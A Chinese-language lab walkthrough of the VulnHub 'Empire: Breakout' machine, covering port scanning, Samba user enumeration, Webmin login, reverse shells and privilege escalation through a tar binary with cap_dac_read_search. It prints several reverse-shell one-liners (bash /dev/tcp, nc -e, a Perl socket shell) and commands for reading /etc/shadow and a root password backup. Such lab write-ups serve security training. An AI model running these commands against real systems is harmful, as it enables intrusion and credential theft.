Vulnhub-Empire Breakout

简介

  • 名称:Vulnhub-Empire: Breakout
  • 发布日期:2021 年 10 月 21 日
  • 难度:容易
  • 描述:这个盒子被创建为一个简单盒子,但如果你迷路了,它可以是中等的。
  • 下载地址Empire: Breakout ~ VulnHub
  • kali攻击机ip:192.168.1.4
  • 靶机地址:192.168.1.33

渗透流程

信息收集

arp-scan

IP:192.168.88.33

nmap

  1. 80/tcp - 开放的HTTP 此端口用于未加密的网页传输。当网站或网络服务器监听此端口时,它可以使用超文本传输协议(HTTP)提供网页。此端口在Web服务器上开放很常见。
  2. 139/tcp - 开放的NetBIOS会话服务 端口139通常被微软Windows网络用于文件和打印机共享。此端口还用于其他目的,如浏览网络和远程管理。
  3. 445/tcp - 开放的Microsoft-DS 这是另一个与Windows环境中文件和打印机共享相关的端口。Microsoft-DS服务提供了对服务器消息块(SMB)协议的访问,该协议用于共享文件、打印机和其他资源。
  4. 10000/tcp - 开放的Snet传感器管理 此端口可能被特定软件或硬件系统用于传感器管理。例如,它可能被工业控制系统或安全系统用来远程管理传感器。
  5. 20000/tcp - 开放的DNP 代表分布式网络协议,主要在工业自动化和控制系统中使用。DNP允许设备在网络中通信,实现数据采集和控制操作。

网页信息

80端口

192.168.1.33:80

F12查看源码发现提示
猜测是brainfuck加密
brainfuck解密过后是:.2uqPEfj3D<P'a-3

10000端口

192.168.1.33:10000

20000端口

192.168.1.33:20000

139/445端口

端口渗透剖析

139端口是为‘NetBIOS SessionService’提供的,主要用于提供windows文件和打印机共享以及UNIX中的Samba服务。445端口也用于提供windows文件和打印机共享,在内网环境中使用的很广泛。这两个端口同样属于重点攻击对象,139/445端口曾出现过许多严重级别的漏洞。下面剖析渗透此类端口的基本思路。

(1)对于开放139/445端口的主机,一般尝试利用溢出漏洞对远程主机进行溢出攻击,成功后直接获得系统权限。利用msf的ms-017永恒之蓝。(https://blog.csdn.net/qq_41880069/article/details/82908131)
(2)对于攻击只开放445端口的主机,黑客一般使用工具‘MS06040’或‘MS08067’.可使用专用的445端口扫描器进行扫描。NS08067溢出工具对windows2003系统的溢出十分有效,工具基本使用参数在cmd下会有提示。(https://blog.csdn.net/god_7z1/article/details/6773652)
(3)对于开放139/445端口的主机,黑客一般使用IPC$进行渗透。在没有使用特点的账户和密码进行空连接时,权限是最小的。获得系统特定账户和密码成为提升权限的关键了,比如获得administrator账户的口令。(https://blog.warhut.cn/dmbj/145.html)
(4)对于开放139/445端口的主机,可利用共享获取敏感信息,这也是内网渗透中收集信息的基本途径。

目标服务器装了Samba,因此尝试用Enum4linux工具枚举获得用户名

enum4linux介绍

这是github上的一个工具,下载地址点此进入,安装这里就不多讲了,因为kali系统上会预安装这个工具,我们直接使用kali上的就行

 -U 	                            获取用户列表
 -M	                                获取机器列表
 -S	                                获取共享列表
 -P	                              获取密码策略信息
 -G	                               获取组和成员列表
 -d	                             详述,适用于-U和-S
 -u	                user 用户指定要使用的用户名(默认为空)
 -p	                        指定要使用的密码(默认为空)

接着是一些官方附加的选项命令,如下

   选项	                                        功能
   -a 	做所有简单枚举(-U -S -G -P -r -o -n -i),如果您没有提供任何其他选项,则启用此选项
   -h 	                     显示此帮助消息并退出
   -r 	                       通过RID循环枚举用户
   -R 	RID范围要枚举(默认值:500-550,1000-1050,隐含-r)
   -K 	指定不对应次数n。继续搜索RID,直到n个连续的RID与用户名不对应,Impies RID范围结束于999999.对DC有用
   -l 	通过LDAP 389 / TCP获取一些(有限的)信息(仅适用于DN)
   -s 	文件暴力猜测共享名称
   -k 	user 远程系统上存在的用户(默认值:administrator,guest,krbtgt,domain admins,root,bin,none)
   -o 	获取操作系统信息
   -i 	获取打印机信息
   -w 	手动指定工作组(通常自动找到)
   -n	做一个nmblookup(类似于nbtstat)
   -v	详细输出,显示正在运行的完整命令(net,rpcclient等)
enum4linux -a 192.168.164.192

枚举得到用户名:cyber,然后使用这个用户名和之前得到的密码尝试登录Webmin,发现可以登进20000端口的网站

反弹shell

发现在左下角可以运行shell,查看id。在这里可以反弹一个交互式shell到攻击机上。

第一个flag——3mp!r3{You_Manage_To_Break_To_My_Secure_Access}

bash命令反弹shell——命令转到kali执行

攻击机开启本地监听:

netcat -lvvp 2333

目标机主动连接攻击机:

方法一:bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1
方法二:bash -c "bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1
方法三:netcat 47.xxx.xxx.72 2333 -e /bin/bash
# nc <攻击机IP> <攻击机监听的端口> -e /bin/bash
# bash -i >& /dev/tcp/攻击机IP/攻击机端口 0>&1

我使用了netcat的反弹shell,想要升级会话——python -c 'import pty;pty.spawn("/bin/bash")'

但是靶机没有安装python模块

解决方法:

1.使用Bash直接创建一个伪终端

可以使用bash自身的功能来创建一个伪终端。这种方法不需要Python或任何额外的模块。以下是一个示例命令:

bash -i >& /dev/tcp/your.attacker.ip/your.port 0>&1

但是,这个命令通常只能提供一个基本的shell,不包含所有交互式特性。要得到一个更完整的交互式会话,你可以尝试以下命令:

bash -i < /dev/tty > /dev/tty 2>&1 & disown

这将读取和写入标准输入/输出到/dev/tty,从而提供更多的终端功能。然而,这种方法仍然可能缺乏一些更高级的功能,如复制粘贴和命令历史。

2.使用Perl或Bash创建一个更复杂的shell

如果你的目标系统有Perl,可以使用以下命令创建一个伪终端:

perl -e 'use Socket;$i="your.attacker.ip";$p=your.port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

这将使用Perl建立一个与攻击者IP和端口的连接,并执行一个交互式的sh会话。

如果没有Perl,你也可以尝试使用bashexec命令结合nc(netcat)或ncat(nmap的一部分)来创建一个更强大的shell:

/bin/bash -c '/bin/bash -i >& /dev/tcp/your.attacker.ip/your.port 0>&1'

或者,如果你有ncat,可以使用以下命令:

/bin/bash -c '/bin/bash -i | nc -e /bin/bash your.attacker.ip your.port'

3.使用其他工具

如果目标机器上有zshksh等其他shell,你可以尝试使用它们提供的类似功能。

4.安装必要的软件

最后,如果可能的话,你可以在目标机器上安装所需的软件包(如tmuxscreen或Python)。这可能需要管理员权限,但将提供最完整的解决方案。

我选择改为bash的模式——无需升级会话

bash -i >& /dev/tcp/192.168.xx.xx/your port 0>&1

权限提升

ls发现当前目录有一个tar和user.txt文件(存放flag),那么肯定要从tar文件入手。那要如何分析一个不知名文件呢?

下面列举了一些常用的命令及其用途:

  1. ls (list)

    • 列出目录中的文件和子目录。

    • 使用示例:

      ls -l      # 以长格式显示文件和目录信息
      ls -a      # 显示包括隐藏文件(以点开始的文件)在内的所有文件和目录
  2. pwd (print working directory)

    • 显示当前工作目录的完整路径。
  3. cd (change directory)

    • 改变当前工作目录。

    • 使用示例:

      cd /path/to/directory    # 进入指定目录
      cd ..                    # 返回上级目录
      cd ~                     # 回到用户的家目录
  4. catlessmore

    • 查看文件内容。

    • 使用示例:

      cat  filename          # 显示整个文件的内容
      less filename         # 分页显示文件内容,支持上下翻页
      more filename         # 类似于less,但功能较少
  5. headtail

    • 分别查看文件的前几行或后几行。

    • 使用示例:

      head -n 10 filename    # 查看文件的前10行
      tail -n 10 filename    # 查看文件的最后10行
  6. stat

    • 显示文件或文件系统的详细状态信息,如文件大小、权限、拥有者、组、修改时间等。

    • 使用示例:

      stat filename
  7. du (disk usage)

    • 报告每个文件和目录占用的磁盘空间。

    • 使用示例:

      du -sh filename        # 以人类可读的格式显示单个文件的大小
      du -sh *               # 显示当前目录下所有文件的大小总和
  8. lsattr

    • 显示文件的扩展属性。

    • 使用示例:

      lsattr filename
  9. file

    • 确定文件的类型。

    • 使用示例:

      file filename
  10. getcap

    • 是一个用于查询 Linux 系统中进程或文件所具有的 capabilities(权限位)的命令行工具。capabilities 是 Linux 内核的一种安全机制,它允许以更细粒度的方式控制进程的权限,而不仅仅是传统的 root/suid 权限。

    • 使用示例:

      getcap  filename    # 查找符合特定模式的文件
  11. find

    • 在目录树中查找文件。

    • 使用示例:

      find /path -name "pattern"    # 查找符合特定模式的文件

这些命令可以帮助你更好地管理和理解Linux系统中的文件和目录结构。如果你需要更详细的帮助,可以在命令后面加上 --help 或查阅该命令的手册页 (man 命令名)。

getcap命令执行后发现返回——tar cap_dac_read_search=ep

cap_dac_read_search=ep 是 Linux capabilities(权限位)中的一种,当这个 capability 被赋予给某个可执行文件(如 tar 命令)时,它允许该程序绕过默认的访问控制限制,即使对于那些通常不允许读取或搜索的文件和目录也能够访问。

cap_dac_read_search=ep 包含以下几个部分:

  • cap_dac_read_search:这是一个 capability 名称,表示“数据访问控制(DAC)读取和搜索”。它允许程序读取和搜索文件及目录,无视 DAC 设置。
  • e:表示 “effective”,意味着当进程运行时,这个 capability 是有效的并正在使用。
  • p:表示 “permitted”,意味着进程具有这个 capability 的权限,可以将其变为有效状态。

当你看到 tar cap_dac_read_search=ep 这样的表述,它意味着 tar 命令已经被赋予了 cap_dac_read_search 的 capability,并且这个 capability 当前是有效的和允许的。

这种 capability 可以用于一些特殊的场景,比如在受限的环境中,tar 可以用来提取或打包那些普通用户没有权限访问的文件。

例如,如果 tar 拥有 cap_dac_read_search=ep,则可以使用如下命令来打包 /etc/shadow 文件,即使当前用户没有权限读取这个文件:

tar czf shadow.tar.gz /etc/shadow

由于 tar 具有 cap_dac_read_search,所以它能够读取 /etc/shadow 并将其打包到 .tar.gz 文件中,而不会受到常规权限的限制。然后,可以将这个文件传输到其他地方进行分析。

后来发现在/var/backups/目录下有一个.old_pass.bak文件,但没有读取权限,刚好可以用tar读取

该bak文件存放的是root密码

cd  #返回根目录
./tar -cvf pass.tar /var/backups/.old_pass.bak #创建pass.tar,将old源文件复制进去
tar -xvf pass.tar     #执行pass.tar
cat var/backups/.old_pass.bak    #现在可读取

获得root密码:Ts&4&YurgtRX(=~h

登录root

3mp!r3{You_Manage_To_Break_To_My_Secure_Access}

两个flag已找到

总结

这次的靶机收获如下:

1.找登录网页的账号和密码,账号的寻找结合了ctf的misc知识,密码的寻找要从139/445端口入手,寻找合适的工具收集信息

2.权限提升这一块了解了未知文件要用什么命令分析,以及可执行文件对普通文件权限提升的流程

  • 7
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
【项目资源】:包含前端、后端、移动开发、操作系统、人工智能、物联网、信息化管理、数据库、硬件开发、大数据、课程资源、音视频、网站开发等各种技术项目的源码。包括STM32、ESP8266、PHP、QT、Linux、iOS、C++、Java、MATLAB、python、web、C#、EDA、proteus、RTOS等项目的源码。 【项目质量】:所有源码都经过严格测试,可以直接运行。功能在确认正常工作后才上传。 【适用人群】:适用于希望学习不同技术领域的小白或进阶学习者。可作为毕设项目、课程设计、大作业、工程实训或初期项目立项。 【附加价值】:项目具有较高的学习借鉴价值,也可直接拿来修改复刻。对于有一定基础或热衷于研究的人来说,可以在这些基础代码上进行修改和扩展,实现其他功能。 【沟通交流】:有任何使用上的问题,欢迎随时与博主沟通,博主会及时解答。鼓励下载和使用,并欢迎大家互相学习,共同进步。【项目资源】:包含前端、后端、移动开发、操作系统、人工智能、物联网、信息化管理、数据库、硬件开发、大数据、课程资源、音视频、网站开发等各种技术项目的源码。包括STM32、ESP8266、PHP、QT、Linux、iOS、C++、Java、MATLAB、python、web、C#、EDA、proteus、RTOS等项目的源码。 【项目质量】:所有源码都经过严格测试,可以直接运行。功能在确认正常工作后才上传。 【适用人群】:适用于希望学习不同技术领域的小白或进阶学习者。可作为毕设项目、课程设计、大作业、工程实训或初期项目立项。 【附加价值】:项目具有较高的学习借鉴价值,也可直接拿来修改复刻。对于有一定基础或热衷于研究的人来说,可以在这些基础代码上进行修改和扩展,实现其他功能。 【沟通交流】:有任何使用上的问题,欢迎随时与博主沟通,博主会及时解答。鼓励下载和使用,并欢迎大家互相学习,共同进步。【项目资源】:包含前端、后端、移动开发、操作系统、人工智能、物联网、信息化管理、数据库、硬件开发、大数据、课程资源、音视频、网站开发等各种技术项目的源码。包括STM32、ESP8266、PHP、QT、Linux、iOS、C++、Java、MATLAB、python、web、C#、EDA、proteus、RTOS等项目的源码。 【项目质量】:所有源码都经过严格测试,可以直接运行。功能在确认正常工作后才上传。 【适用人群】:适用于希望学习不同技术领域的小白或进阶学习者。可作为毕设项目、课程设计、大作业、工程实训或初期项目立项。 【附加价值】:项目具有较高的学习借鉴价值,也可直接拿来修改复刻。对于有一定基础或热衷于研究的人来说,可以在这些基础代码上进行修改和扩展,实现其他功能。 【沟通交流】:有任何使用上的问题,欢迎随时与博主沟通,博主会及时解答。鼓励下载和使用,并欢迎大家互相学习,共同进步。【项目资源】:包含前端、后端、移动开发、操作系统、人工智能、物联网、信息化管理、数据库、硬件开发、大数据、课程资源、音视频、网站开发等各种技术项目的源码。包括STM32、ESP8266、PHP、QT、Linux、iOS、C++、Java、MATLAB、python、web、C#、EDA、proteus、RTOS等项目的源码。 【项目质量】:所有源码都经过严格测试,可以直接运行。功能在确认正常工作后才上传。 【适用人群】:适用于希望学习不同技术领域的小白或进阶学习者。可作为毕设项目、课程设计、大作业、工程实训或初期项目立项。 【附加价值】:项目具有较高的学习借鉴价值,也可直接拿来修改复刻。对于有一定基础或热衷于研究的人来说,可以在这些基础代码上进行修改和扩展,实现其他功能。 【沟通交流】:有任何使用上的问题,欢迎随时与博主沟通,博主会及时解答。鼓励下载和使用,并欢迎大家互相学习,共同进步。【项目资源】:包含前端、后端、移动开发、操作系统、人工智能、物联网、信息化管理、数据库、硬件开发、大数据、课程资源、音视频、网站开发等各种技术项目的源码。包括STM32、ESP8266、PHP、QT、Linux、iOS、C++、Java、MATLAB、python、web、C#、EDA、proteus、RTOS等项目的源码。 【项目质量】:所有源码都经过严格测试,可以直接运行。功能在确认正常工作后才上传。 【适用人群】:适用于希望学习不同技术领域的小白或进阶学习者。可作为毕设项目、课程设计、大作业、工程实训或初期项目立项。 【附加价值】:项目具有较高的学习借鉴价值,也可直接拿来修改复刻。对于有一定基础或热衷于研究的人来说,可以在这些基础代码上进行修改和扩展,实现其他功能。 【沟通交流】:有任何使用上的问题,欢迎随时与博主沟通,博主会及时解答。鼓励下载和使用,并欢迎大家互相学习,共同进步。【项目资源
大学生在线租房平台管理系统按照操作主体分为管理员和用户。管理员的功能包括报修管理、报修评价管理、字典管理、房东管理、房屋管理、房屋收藏管理、房屋留言管理、房屋租赁管理、租房论坛管理、公告信息管理、留言板管理、用户管理、管理员管理。用户的功能等。该系统采用了Mysql数据库,Java语言,Spring Boot框架等技术进行编程实现。 大学生在线租房平台管理系统可以提高大学生在线租房平台信息管理问题的解决效率,优化大学生在线租房平台信息处理流程,保证大学生在线租房平台信息数据的安全,它是一个非常可靠,非常安全的应用程序。 管理员权限操作的功能包括管理公告,管理大学生在线租房平台信息,包括房屋管理,培训管理,报修管理,薪资管理等,可以管理公告。 房屋管理界面,管理员在房屋管理界面中可以对界面中显示,可以对房屋信息的房屋状态进行查看,可以添加新的房屋信息等。报修管理界面,管理员在报修管理界面中查看报修种类信息,报修描述信息,新增报修信息等。公告管理界面,管理员在公告管理界面中新增公告,可以删除公告。公告类型管理界面,管理员在公告类型管理界面查看公告的工作状态,可以对公告的数据进行导出,可以添加新公告的信息,可以编辑公告信息,删除公告信息。
基于hal库的OLED显示屏驱动C语言实现源码.zip 【备注】 1、该资源内项目代码都经过测试运行成功,功能ok的情况下才上传的,请放心下载使用!有问题请及时沟通交流。 2、适用人群:计算机相关专业(如计科、信息安全、数据科学与大数据技术、人工智能、通信、物联网、自动化、电子信息等)在校学生、专业老师或者企业员工下载使用。 3、用途:项目具有较高的学习借鉴价值,不仅适用于小白学习入门进阶。也可作为毕设项目、课程设计、大作业、初期项目立项演示等。 4、如果基础还行,或热爱钻研,亦可在此项目代码基础上进行修改添加,实现其他不同功能。 欢迎下载!欢迎交流学习!不清楚的可以私信问我! 基于hal库的OLED显示屏驱动C语言实现源码.zip基于hal库的OLED显示屏驱动C语言实现源码.zip基于hal库的OLED显示屏驱动C语言实现源码.zip基于hal库的OLED显示屏驱动C语言实现源码.zip基于hal库的OLED显示屏驱动C语言实现源码.zip基于hal库的OLED显示屏驱动C语言实现源码.zip基于hal库的OLED显示屏驱动C语言实现源码.zip基于hal库的OLED显示屏驱动C语言实现源码.zip基于hal库的OLED显示屏驱动C语言实现源码.zip基于hal库的OLED显示屏驱动C语言实现源码.zip基于hal库的OLED显示屏驱动C语言实现源码.zip基于hal库的OLED显示屏驱动C语言实现源码.zip基于hal库的OLED显示屏驱动C语言实现源码.zip
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值